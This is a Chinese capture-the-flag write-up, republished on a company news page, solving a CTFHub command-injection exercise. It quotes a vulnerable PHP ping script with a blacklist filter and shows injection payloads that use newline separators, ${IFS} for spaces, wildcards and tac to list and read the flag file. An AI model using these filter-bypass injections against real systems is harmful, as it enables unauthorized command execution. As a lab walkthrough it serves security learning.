尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

CTFHub 命令注入-综合练习 WP

CTFHub 命令注入-综合练习 WP
📅 发布时间:2026/6/18 17:07:10

CTFHub 命令注入-综合练习 WP

<?php
$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

我们可以看到 preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m), 他把 |, &, ;, , /, cat, flag, ctfhub 都给禁用了,够狠。
我们可以先思考一下如何将 ping 命令与后面的命令分开,看一下命令表格,发现 %0a 可以充当分隔符。%0a 是换行符,而空格,之前做过一道题,是把空格用 ${IFS} 代替的,我们先 ls 一下,看看有什么。
?ip=127.0.0.1%0als
image
里面有个 flag_is_here 的文件,我们打开它看看里面有什么,用 cd 函数。
?ip=127.0.0.1%0acd${IFS}fl?g_is_here%0als
image
现在我们知道这个 flag_22973179572301.php 就是我们要找的,我们需要查看一下他,但 cat 函数被禁用了,所以要找个替代品。这里我用的 tac 函数,也可以用 more, less 函数。
?ip=127.0.0.1%0acd${IFS}fl?g_is_here%0atac${IFS}fl?g_22973179572301.php
image
会发现有一行没有输出,但我们查看源代码会发现 flag.
image
后面去查了一下,这行为空的原因可能是输出内容可能在 <div>、<pre> 等标签中,的确 flag 在源码中 <pre> 的位置,这应该就是原因了。

朝气蓬勃 后生可畏

相关新闻

  • 2025 年 11 月印染厂污水生物除臭设备,食品厂污水生物除臭设备,屠宰场生物除臭设备厂家最新推荐,实力品牌深度解析采购无忧之选!
  • 2257. 统计网格图中没有被保卫的格子数
  • 在UOS中浏览NAS图片

最新新闻

  • LLM与RNN混合架构在代码理解中的应用与优化
  • 河北福亚斯保温建材口碑怎么样?深度评测与推荐 - mypinpai
  • 2026年好用的PTFE管道品牌,推荐哪家? - mypinpai
  • 邢台黄金回收门店实地探访全记录 - 余生黄金回收
  • 岳阳黄金回收实测六家正规门店靠谱吗 - 余生黄金回收
  • 零基础看懂 FPGA 实现 IIR 滤波器:大白话 + 手算实例 + 代码全拆解

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号